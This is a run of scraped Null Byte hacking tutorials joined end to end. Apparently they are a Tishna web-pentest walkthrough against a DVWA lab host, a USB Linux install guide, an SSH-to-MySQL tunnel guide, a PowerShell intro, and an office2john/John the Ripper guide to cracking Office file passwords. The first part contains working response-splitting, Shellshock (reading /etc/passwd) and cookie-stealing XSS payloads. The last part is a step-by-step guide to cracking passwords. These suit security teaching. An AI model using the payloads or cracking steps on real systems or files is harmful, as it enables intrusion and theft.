<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /dvwa/ Set-Cookie: HTTP_response_splitting=YES Foo: bar was not found on this server.</p> <hr> <address>Apache/2.2.8 (Ubuntu) DAV/2 Server at 10.10.0.50 Port 80</address> </body></html> [!] Requested Data GET http://10.10.0.50/dvwa/%0aSet-Cookie:%20HTTP_response_splitting%3dYES%0aFoo:%20bar User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20130401 Firefox/31.0. HTTP/1.1 404 Not Found Connection: close Date: Wed, 19 Jun 2019 18:35:39 GMT Server: Apache/2.2.8 (Ubuntu) DAV/2 Content-Length: 333 Content-Type: text/html; charset=iso-8859-1 Client-Date: Fri, 10 May 2020 15:55:27 GMT Client-Peer: 10.10.0.50:80 Client-Response-Num: 1 Title: 404 Not Found <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> Foo: bar was not found on this server.</p> <hr> <address>Apache/2.2.8 (Ubuntu) DAV/2 Server at 10.10.0.50 Port 80</address> </body></html> [!] Requested Data GET http://10.10.0.50/dvwa/%0dSet-Cookie:%20HTTP_response_splitting%3dYES%0dFoo:%20bar User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20130401 Firefox/31.0. HTTP/1.1 404 Not Found Connection: close Date: Wed, 19 Jun 2019 18:35:39 GMT Server: Apache/2.2.8 (Ubuntu) DAV/2 Content-Length: 414 Content-Type: text/html; charset=iso-8859-1 Client-Date: Fri, 10 May 2020 15:55:27 GMT Client-Peer: 10.10.0.50:80 Client-Response-Num: 1 Title: 404 Not Found <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /dvwa/ Content-Length: 0 HTTP/1.1 200 OK Content-Type: text/html Content-Length: 35 &lt;html&gt;Sorry, System Down&lt;/html&gt; was not found on this server.</p> <hr> <address>Apache/2.2.8 (Ubuntu) DAV/2 Server at 10.10.0.50 Port 80</address> </body></html> [!] Requested Data GET http://10.10.0.50/dvwa/%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2035%0d%0a%0d%0a%3Chtml%3ESorry,%20System%20Down%3C/html%3E User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20130401 Firefox/31.0. [!] [!] Starting Curl Based Payloads curl: (3) URL using bad/illegal format or missing URL curl: (3) URL using bad/illegal format or missing URL [ + ] Reflection found for word Sorry, of regex, do confirm manuallyAnother useful module is the one that will check forShellshockvulnerabilities — load it by entering17at the prompt:tishna: _> 17This one will test for the Shellshock vulnerability relating to CGI. We'll use the first option here:tishna: _> [!] Caution : [!] Shellshock work on vulernable cgi modes, files or directories [!] Make sure victim relates to cgi [!] Examine properly each response [!] 1 - ShellShocker Type 1 [!] 2 - ShellShocker Type 2 [!] Enter Option: 1It then gives us the suggested path to test for, although we can also enter a custom URL. Once it starts, it will run through a bunch of different payloads testing forShellshock:[!] Default would be target/cgi-bin/status [!] Custom input is also possible [+] Enter Target: http://10.10.0.50/dvwa/ ... * Connection #0 to host 10.10.0.50 left intact * Trying 10.10.0.50:80... * TCP_NODELAY set * Connected to 10.10.0.50 (10.10.0.50) port 80 (#0) > GET /dvwa/ HTTP/1.1 > Host: 10.10.0.50 > User-Agent: curl/7.67.0 > Accept: */* > custom:() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd > * Mark bundle as not supporting multiuse < HTTP/1.1 302 Found < Date: Wed, 19 Jun 2019 19:01:27 GMT < Server: Apache/2.2.8 (Ubuntu) DAV/2 < X-Powered-By: PHP/5.2.4-2ubuntu5.24 < Expires: Thu, 19 Nov 1981 08:52:00 GMT < Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 < Pragma: no-cache < Set-Cookie: PHPSESSID=189dfca994fc79404982b76c081684fb; path=/ < Set-Cookie: security=high < Location: login.php < Content-Length: 0 < Content-Type: text/html < * Connection #0 to host 10.10.0.50 left intact ./shellshock.sh: line 152: syntax error near unexpected token `(' ./shellshock.sh: line 152: `curl -v "User-agent: () { _; } >_[$($())] { echo hi mom; id; }"'We can see this ended in an error, but it can still be useful nonetheless.There are also a number of modules that can be used to test forXSS vulnerabilities, including using response splitting to do so. Enter45at the prompt to use this module:tishna: _> 45First, let's navigate to the XSS page of DVWA to grab the URL:Then, we can enter it at the prompt to kick it off:tishna: _> [!] Enter URL: http://10.10.0.50/dvwa/vulnerabilities/xss_r/ [ + ] Checking HTTP Response Splitting [ + ] HTTP/1.1 404 Not Found Connection: close Date: Wed, 19 Jun 2019 19:13:41 GMT Server: Apache/2.2.8 (Ubuntu) DAV/2 Content-Length: 498 Content-Type: text/html; charset=iso-8859-1 Client-Date: Fri, 10 May 2020 16:33:29 GMT Client-Peer: 10.10.0.50:80 Client-Response-Num: 1 Title: 404 Not Found <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /dvwa/vulnerabilities/xss_r/ Content-Type: text/html;charset=UTF-7 Content-Length: 129 +ADw-html+AD4-+ADw-body+AD4-+ADw-script+AD4-alert('XSS,cookies:'+-document.cookie)+ADw-/script+AD4-+ADw-/body+AD4-+ADw-/html+AD4 was not found on this server.</p> <hr> <address>Apache/2.2.8 (Ubuntu) DAV/2 Server at 10.10.0.50 Port 80</address> </body></html> [ + ] Reflection found, do confirm manuallyWe can see it returned with a potential reflection and tells us to confirm manually.There are a lot of modules available in Tishna, but be aware that not all of them work correctly. This project is being actively developed, though, so even though it's not perfect, it is still useful and will likely improve in the future.Wrapping UpIn this tutorial, we learned how to use a pentesting framework called Tishna to audit and enumerate a vulnerable web app. First, we set up the tool and installed it on our system. Then, we explored some of the modules it contains, such as those used to gather HTTP header information, extract images and URLs, and test for vulnerabilities such as XSS and Shellshock. Tishna is a handy tool that can automate some of the processes involved in auditing web applications and servers.Don't Miss:Scan Websites for Potential Vulnerabilities Using Vega in Kali LinuxWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byKvistholt Photography/Unsplash; Screenshots by drd_/Null ByteRelatedAndroid for Hackers:How to Scan Websites for Vulnerabilities Using an Android Phone Without RootHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)Advanced Nmap:Top 5 Intrusive Nmap Scripts Hackers & Pentesters Should KnowHack Like a Pro:How to Build Your Own Exploits, Part 3 (Fuzzing with Spike to Find Overflows)How To:Create a client-server web application with Flex & PHPHow To:Use Command Injection to Pop a Reverse Shell on a Web ServerHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)Hack Like a Pro:How to Hack Web Apps, Part 3 (Web-Based Authentication)How To:Perform Directory Traversal & Extract Sensitive InformationHack Like a Pro:How to Fingerprint Web Servers Using HttprintHow To:Setup PHP and MySQL for your Mac Mini serverHack Like a Pro:How to Hack Web Apps, Part 6 (Using OWASP ZAP to Find Vulnerabilities)How To:Scan Your Samsung Galaxy S3 for Malware, Infected Apps, & Unauthorized SurveillanceHow To:Embed a media player into an ASP.NET app with the MediaPlayer server controlHow to Hack Wi-Fi:Evading an Authentication Proxy Using ICMPTXHow To:Enable the web server for your Mac Mini serverHow To:Use Metasploit's Web Delivery Script & Command Injection to Pop a ShellHow To:Linux Basics for the Aspiring Hacker: Configuring ApacheHow To:Install Microsoft Visual Studio 2008How To:Exploit Remote File Inclusion to Get a ShellHacking Windows 10:How to Remotely Record & Listen to the Microphone of a Hacked ComputerHow To:Hide Your IP Address with a Proxy ServerHow To:How a Home Energy Audit Can Lower Your Energy CostsHow To:Code a Basic TCP/IP Client & Server Duo in PythonNews:Half a Million Macs Affected by Flashback Trojan! Eradicate It Before It's Too LateIPsec Tools of the Trade:Don't Bring a Knife to a GunfightNews:Top 25 Firefox TweaksGHOST PHISHER:Security Auditing ToolHow To:Run a Free Web Server From Home on Windows or Linux with ApacheHow Null Byte Injections Work:A History of Our NamesakeNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Three: Hidden ServicesNews:SENDtoREADER appGoodnight Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingHacking Reconnaissance:Finding Vulnerabilities in Your Target Using NmapHow To:The Essential Newbie's Guide to SQL Injections and Manipulating Data in a MySQL DatabaseNews:Minecraft World's Weekly Workshop: Using VoxelSniperNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Four: The Invisible InternetHow To:Create Your Own Minecraft Server on WindowsNews:Accounting and Finance DegreeLock Down Your Web Server:10 Easy Steps to Stop Hackers from Attacking
How to Install Linux to a Thumb Drive « Null Byte :: WonderHowTo
Let's face it, CDs and DVDs are a thing of the past. We no longer use them as a storage medium because they are slow, prone to failure in burning, and non-reusable. The future isflash memory. Flash memory is cheap, fast, and efficient. Eventually, flash drives might even replace discs as the preferred prerecorded selling format for movies.But thisNull Byteis not about movies, it's about operating systems.A great tool to have in your arsenal is the ability to have an OS on a thumb drive. This allows you to install an OS quickly on any system, lets you load a live OS fast, and provides the convenience of having your entire operating system—complete with all of your files—on hand at all times. It would almost be like a cloud and synchronizing OS (expect someone to steal that idea).Here, we will install a Linux distribution onto a thumb drive as an example. Let's look at what we need:RequirementsLinux OSSpare thumb driveComputer capable of booting from a thumb driveLinux ISO imageStep1Check Your Boot CapabilitiesFirst, let's check out if our computer can actually boot from a thumb drive.Plug your thumb drive into a USB port.Restart your computer.Hit F12 during the POST before your OS starts to get into your boot menu.Look for a USB or thumb drive option. If it is there, congrats, you can boot from it!Step2Install the Image to Your DriveFollow along with me in this video so you can see how to use the unetbootin interface.Please enable JavaScript to watch this video.Commandssudo pacman -S unetbootinsudo unetbootinFollow and Chat with Null Byte!TwitterGoogle+IRC chatWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImage bysalonRelatedHow To:Recover Passwords for Windows PCs Using OphcrackHow To:Install any version of Linux from a USB thumbdriveHow To:Install a bootable Linux onto a USB stickHow to Hack Like a Pro:Getting Started with MetasploitHow To:Boot Multiple Operating Systems on the Raspberry Pi with BerryBootHow To:Get Extra Storage Space on Your Nexus 5 with USB On-The-GoHow To:Run Ubuntu Linux on a USB thumb driveHow To:Bypass Locked Windows Computers to Run Kali Linux from a Live USBHow To:Create a Bootable Install USB Drive of Mac OS X 10.11 El CapitanHow To:Linux Basics for the Aspiring Hacker: Managing Hard DrivesHow To:Run the Ubuntu Linux operating system on a USB flash driveHack Like a Pro:How to Install BackTrack 5 (With Metasploit) as a Dual Boot Hacking SystemHow To:Install Puppy Linux on an innotek VirtualBoxHow To:Run Windows from Inside LinuxNews:Virtualization Using KVMNews:Performance Hacks & Tweaks for LinuxHow To:Use Cygwin to Run Linux Apps on WindowsNews:Complete Arch Linux Installation, Part 1: Install & Configure ArchHow To:Conceal a USB Flash Drive in Everyday ItemsHow To:Scan for Viruses in Windows Using a Linux Live CD/USBHow To:Recover Deleted Files in LinuxHow To:Create a Custom Arch Linux DistroHow To:Backup All of Your Xbox 360 Data to Your ComputerHow To:Remove a Windows Password with a Linux Live CDHow To:Burn an XDG3 Formatted Xbox 360 Game ISO with LinuxHow To:Get Packet Injection Capable Drivers in LinuxHow To:Give Your GRand Unified Bootloader a Custom ThemeHow To:Bypass Windows and Linux PasswordsHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterNews:Cannot find windows loader after Linux install?How To:Encrypt your Skype Messages to Thwart Snooping Eyes Using PidginHow To:Stream Media to a PS3 or Xbox 360 from Mac & Linux ComputersHow To:Customize Your Linux DesktopNews:First Steps of Compiling a Program in LinuxHow To:Chain VPNs for Complete AnonymityHow To:Recover WinRAR and Zip PasswordsHow To:Permanently Delete Files to Protect Privacy and PasswordsNews:Complete Arch Linux Installation, Part 2: Graphical User Interface & PackagesHow To:Get Your AMD Graphics, Sound & Other Drivers to Work in Linux on Your Laptop
Hack Like a Pro: Linux Basics for the Aspiring Hacker, Part 15 (Creating a Secure Tunnel to MySQL) « Null Byte :: WonderHowTo
Welcome back, my budding hackers!In my continuing effort tobuild your basic Linux skills for hacking, I want to show you how to build a secure "tunnel" to MySQL.Of course, the techniques I use here could be used for any application, but since MySQL is such a critical app on most Linux installations, and since un-encrypted sessions to your MySQL database server could easily be sniffed and confidential information exposed, we'll use our database server as our example in this tutorial.This is not to say that an encrypted tunnel is foolproof from being hacked. As with anything, it can be hacked, but it makes it many times more difficult. If we leave the data un-encrypted, any script kiddie with a sniffer can see and grab our traffic to our database.We'll be using SSH or Secure Shell to encrypt our traffic. Every Linux distribution has a SSH server and client built in, unlike Windows where you will need to download one of many SSH clients such asPuTTY. OurBackTrackhas BSD OpenSSH built-in, so don't need to download and install anything to build a secure connection between our client and server.Like so many other applications in Linux, SSH operates on a server/client architecture. To successfully connect, you must have both the server and the client running.Step 1: Open BackTrack & Start MySQLMySQL has the capability of using SSH, but you must configure and compile it to do so. Since the default configuration of MySQL, such as ours on BackTrack, does not have SSH built-in, we need to do a workaround using the SSH built into the operating system and then connecting to MySQL. This will create an encrypted "tunnel" to our database, so that hackers can't view our transmissions back and forth to the database.In our example here, we'll be connecting between two BackTrack installations. I have shown you how to start MySQL from the GUI in theprevious Linux basics guide, but in many distributions of Linux you won't have that luxury, so let's start MySQL from the command line.bt > mysql_safe startNow, let's make certain that it started by checking our processes and "grepping" for mysql.bt > ps aux | grep mysqlStep 2: Generate KeysIn order for SSH to create its encrypted tunnel, it must first generate a key pair, a private key and a public key. These two keys will be used to encrypt and then decrypt the traffic over the tunnel. We can do this by typing:bt >sshd-generateAs we can see, SSH has generated a key pair from which it will now be able to generate our secure tunnel. I have created a user named "nullbyte" on this server that we will use to connect to this machine.Step 3: Start SSHFrom theclientmachine, we can now connect to that SSH server by typing:ssh -L3316:127.0.0.1:3306 nullbyte@192.168.1.112Here's a breakdown of what's in the command above.sshis the client command-L3316listens on port 3316127.0.0.1is the location of the SSH client daemon on the client machine3306is the default port of MySQL that we want the tunnel to on the server machinenullbyteis a user on the operating system on the server192.168.1.112the IP address of the MySQL serverWhen we execute this command, we get a connection to the remote machine on nullbyte's account as shown below.What we have done here is to connect to the SSH client daemon on our client system that then connects via port 3331 to the SSH server that then connects to port 3306 to connect to MySQL.Step 4: Connect to MySQL SecurelyNow that we are securely connected to the server that contains the MySQL database, we can now login to the database over this tunnel. I have a MySQL user named "test4" (not the OS user—we connected via an OS user and we connect to MySQL via a MySQL user) on that database. Let's now login to that user's account.mysql -u test4 -pAs you can see above, we have successfully connected to MySQL over this tunnel! All of the traffic between us and the remote database server is encrypted.To make certain that we connected to the remote server and not our local database, I created a database on the remote server named "nullbyte".Let's issue the "show databases;" command from the MySQL prompt.As you can see, we have connected to the remote database server as it has the "nullbyte" database.I'm hoping that you are finding theseLinux fundamentals tutorialsuseful as they help to build your knowledge base that is useful for all of your hacking activities. For instance, in the near future, I'll show you how to hack this encrypted tunnel, so keep coming back, my tenderfoot hackers!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseDigital tunnelimage via ShutterstockRelatedHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)News:How to Study for the White Hat Hacker Associate Certification (CWA)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 10 (Manipulating Text)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 14 (MySQL)Hack Like a Pro:Snort IDS for the Aspiring Hacker, Part 3 (Sending Intrusion Alerts to MySQL)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 (Getting Started)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 25 (Inetd, the Super Daemon)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 2 (Creating Directories & Files)How to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 21 (GRUB Bootloader)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 13 (Mounting Drives & Devices)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 12 (Loadable Kernel Modules)Hack Like a Pro:How to Create a Nearly Undetectable Covert Channel with TunnelshellHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 9 (Managing Environmental Variables)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 22 (Samba)How to Hack Databases:Hacking MySQL Online Databases with SqlmapHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 5 (Installing New Software)Goodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingHow To:Create an SSH Tunnel Server and Client in LinuxGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingHack Logs and Linux Commands:What's Going On Here?Community Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingHow To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreSecure Your Computer, Part 2:Password-Protect the GRUB Bootloader on Dual-Booted PCsGoodnight Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsHow To:Mask Your IP Address and Remain Anonymous with OpenVPN for LinuxHow To:Remotely Control Computers Over VNC Securely with SSHCommunity Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker TrainingHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingHow To:Hack Wireless Router Passwords & Networks Using HydraNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Four: The Invisible InternetHow To:Safely Log In to Your SSH Account Without a Password
Hack Like a Pro: Scripting for the Aspiring Hacker, Part 3 (Windows PowerShell) « Null Byte :: WonderHowTo
Welcome back, my budding hackers!As you know, I firmly believe that to be a true professional hacker, you need to be proficient inLinux. This is for a number of good reasons.Most hacker tools are developed in Linux (well over 90 percent).Linux offers us greater granularity of control.The terminal in Linux gives us complete control over the operating system, unlike cmd.exe in Windows that has only limited capabilities.Most importantly, Linux is open source and transparent. That means that we can actually see the source code and manipulate the operating system to a far greater degree than the closed source and opaque Windows operating system.In recent years, Microsoft seems have gained religion is terms of the advantage of the command line and terminal in Linux. They now seem to understand the strengths and advantages of the command line, and as a response, introduced the Windows PowerShell.PowerShell BackGroundMicrosoft had recognized the limitations of their cmd.exe as early as the 1990s and attempted to remedy it with a bunch a workarounds. In 2002, Microsoft released a whitepaper on a product that was under development called MONAD, or Microsoft Shell. Eventually, Windows PowerShell was released as an add-on in 2007 and Windows PowerShell 2.0 was fully integrated into Windows 7 and Windows Server 2008 and all Windows operating systems since.Windows PowerShell borrows much from the Linux environment including many Linux commands. It also includes the ability to pipe commands and link commands into a script.With PowerShell capability, Windows becomes a more powerful hacking platform, but until Microsoft makes its source code open source (don't hold your breath), Linux will still be the operating system of choice for hackers.All that having been said, we should still explore and become familiar with the Windows PowerShell for when the Windows platform is appropriate, such as when usingCain and Abeland some of the other hacking tools developed for Windows.CmdletsOne of the key differences between Windows PowerShell and the BASH shell in Linux is that Microsoft has developed cmdlets (command lets) for PowerShell. They cmdlets are essentially single commands that accomplish sometimes more complex tasks similar to functions. These cmdlets take the form of verb-noun, such as "get-help".Step 1: Open PowershellMost system administrators and users are unaware that beneath that familiar Windows GUI lurks a powerful tool and engine for manipulating Windows. You can get to it by typing "powershell" into the search window at the Start or Windows button and click on "PowerShell".When it opens, you should get a screen that looks like this.Step 2: Get HelpOnce we have the PowerShell terminal open, the first thing we want to explore is how we get help. PowerShell has a cmdlet for that called, unsurprisingly, "get-help".When we type "get-help", we receive the help screen like that above. Microsoft has aliased this cmdlet so that "help" and the Linux command "man" accomplish the same thing.Step 3: Context Sensitive HelpAs you remember from Linux, you cansee the manual page for any command in Linux, by preceding the command with the keyword "man". Likewise, in Windows PowerShell, you can use "get-help" followed by the cmdlet to see the manual page. Let's get the manual page for a cmdlet named "Write-Output".> get-help Write-OutputYou can see that PowerShell returns us a manual page for the cmdlet, "Write-Output". As I mentioned above, "man" and "help" will both pull up the same context-sensitive information.Step 4: Run the Same Commands as LinuxMicrosoft, recognizing that Linux system administrators are more accustomed to working from the command line and to encourage them to adopt and use the PowerShell, aliased many of the most common Linux commands into its PowerShell.For instance, I can use the Windows command "dir" and the Linux command "ls" to get a directory listing in PowerShell.Some of the other Linux commands that are available in PowerShell, include but aren't limited to the following.grepcatpsmvrmechopwdkillexportStep 5: Use the Integrated Scripting EnvironmentTo create a script in PowerShell, similar to Linux, you can use Notepad or other text editor such as Notepad++. In addition, PowerShell comes with a Integrated Scripting Environment (ISE) that we can use.There are numerous ways to get into the ISE, but probably the simplest is to create a file, right-click on it, and choose "Edit". In this case, I created a file in Notepad called "Helloworld.ps1". This will open the PowerShell ISE like that below.Step 6: Hello WorldWhen starting out in ANY programming language, it's requisite to write the ubiquitous "Hello World" program. We are not going to deviate from that path and we will create our own "Hello World" script here.With the ISE open, we can type:Write-Output "Hello World"Just like in the Linux terminal, we enclose the string "Hello World" in double quotation marks to indicate that we want the string literals to be output (meaning we want these human language words and not computer commands).We can run this script by either opening the PowerShell and navigating to this file and running Helloworld.ps1 or clicking on the green arrow on the ISE with the script open.In my next PowerShell tutorial, we'll delve a bit deeper into this powerful tool and use it to develop a port scanner, sokeep coming back!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:How to Use PowerSploit, Part 1 (Evading Antivirus Software)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 13 (Web Delivery for Windows)How To:The Essential Skills to Becoming a Master HackerNews:How to Study for the White Hat Hacker Associate Certification (CWA)How to Use PowerShell Empire:Generating Stagers for Post Exploitation of Windows HostsHack Like a Pro:Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files)Hack Like a Pro:Python Scripting for the Aspiring Hacker, Part 1Hack Like a Pro:The Ultimate List of Hacking Scripts for Metasploit's MeterpreterHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 21 (GRUB Bootloader)How To:Use the USB Rubber Ducky to Disable Antivirus Software & Install RansomwareHack Like a Pro:Perl Scripting for the Aspiring Hacker, Part 1Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 12 (Web Delivery for Linux or Mac)Hack Like a Pro:Using the Nmap Scripting Engine (NSE) for ReconnaissanceHow To:Steal Usernames & Passwords Stored in Firefox on Windows 10 Using a USB Rubber DuckyHow To:Hack Anyone's Wi-Fi Password Using a Birthday Card, Part 1 (Creating the Payload)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)Hacking Windows 10:How to Hack uTorrent Clients & Backdoor the Operating SystemHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 5 (Windows Registry Forensics)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 2 (Creating Directories & Files)News:What to Expect from Null Byte in 2015News:Even Microsoft Acknowledges the Superiority of the Bash Shell NowHack Like a Pro:Python Scripting for the Aspiring Hacker, Part 3 (Building an FTP Password Cracker)Hack Like a Pro:Scripting for the Aspiring Hacker, Part 1 (BASH Basics)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 4 (Armitage)Goodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 7 - Legal HackerCommunity Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterCommunity Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 3 - Real Hacking Simulations
How to Crack Password-Protected Microsoft Office Files, Including Word Docs & Excel Spreadsheets « Null Byte :: WonderHowTo
Microsoft Office files can be password-protected in order to prevent tampering and ensure data integrity. But password-protected documents from earlier versions of Office are susceptible to having their hashes extracted with a simple program called office2john. Those extracted hashes can then be cracked using John the Ripper and Hashcat.Extracting the hash from a password-protected Microsoft Office file takes only a few seconds with theoffice2johntool. While the encryption standard across different Office products fluctuated throughout the years, none of them can stand up to office2john's hash-stealing abilities.This tool is written in Python and can be run right from theterminal. As for Office compatibility, it's known to work on any password-protected file from Word, Excel, PowerPoint, OneNote, Project, Access, and Outlook that was created usingOffice 97,Office 2000,Office XP,Office 2003,Office 2007,Office 2010, andOffice 2013, including theOffice for Macversions. It may not work on newer versions of Office, though, we saved a DOCX inOffice 2016that was labeled as Office 2013.Step 1: Install Office2JohnTo get started, we'll need to download the toolfrom GitHubsince office2john is not included in the standard version ofJohn the Ripper(which should already be installed in your Kali system). This can easily be accomplished withwget.~# wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/office2john.py --2019-02-05 14:34:45-- https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/office2john.py Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.148.133 Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.148.133|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 131690 (129K) [text/plain] Saving to: ‘office2john.py’ office2john.py 100%[=======================================================================>] 128.60K --.-KB/s in 0.09s 2019-02-05 14:34:46 (1.45 MB/s) - ‘office2john.py’ saved [131690/131690]Step 2: Make Sure Everything's in the Same DirectoryIn order to run office2john withPython, we will need tochangeinto the same directory that it was installed into. For most of you, this will be Home by default (just entercd), but feel free to create a separate directory.Next, we need an appropriate file to test this on. I am using a simple DOCX file named "dummy.docx" that I created and password-protected with Word 2007.Download itto follow along. The password is "password123" as you'll find out. You can also download documents made withWord 2010andWord 2016(that shows up as 2013) to use for more examples. Passwords for those are also "password123."Step 3: Extract the Hash with Office2johnThe first thing we need to do isextract the hashof our password-protected Office file. Run the following command and pipe the output into "hash.txt" for later use.~# python office2john.py dummy.docx > hash.txtTo verify that the hash was extracted successfully, use thecatcommand. We can see that the hash I saved corresponds to Microsoft Office 2007. Neat.~# cat hash.txt dummy.docx:$office$*2007*20*128*16*a7c7a4eadc2d90fb22c073c6324b6b49*abc5f80409f5f96f97e184e44aacd0b7*930b0c48a7eb5e13a57af4f3030b48e9402b6870Step 4: Crack the Hash You Just SavedLike already mentioned, we'll be showing you two ways to crack the hash you just saved from the password-protected Microsoft Office file. Both methods work great, so it's really up to preference.Option 1: Cracking with JohnSet the--wordlistflag with the location of your favorite word list. The one that is included withNmapwill do for our purposes here, but for tougher passwords, you may want to go with a more extensive word list.~# john --wordlist=/usr/share/wordlists/nmap.lst hash.txt Using default input encoding: UTF-8 Loaded 1 password hash (Office, 2007/2010/2013 [SHA1 128/128 SSE2 4x / SHA512 128/128 SSE2 2x AES]) Cost 1 (MS Office version) is 2007 for all loaded hashes Cost 2 (iteration count) is 50000 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for statusJohn will start cracking, and depending on the password complexity, will finish when a match is found. Press almost any key to view the current status. When the hash is cracked, a message will be displayed on-screen with the document's password: Since our password was pretty simple, it only took seconds to crack it.password123 (dummy.docx) 1g 0:00:00:03 DONE (2019-02-05 15:00) 0.2824g/s 415.8p/s 415.8c/s 415.8C/s lacoste..cooldude Use the "--show" option to display all of the cracked passwords reliably Session completedWe can also use the--showoption to display it, like so:~# john --show hash.txt dummy.docx:password123 1 password hash cracked, 0 leftNow that we know one method of cracking a password-protected Microsoft Office file, let's look at one other way using the powerful toolHashcat.Option 2: Cracking with HashcatWe can begin by displaying the help menu (--help) for Hashcat. This will provide us with a wealth of information including usage options, hash modes, and other features. There is a ton of information here, so I won't show the output, but you should dive into it if you really want to know Hashcat.~# hashcat --helpFrom the output, we're just interested in the MS Office hash modes. Near the bottom of the help 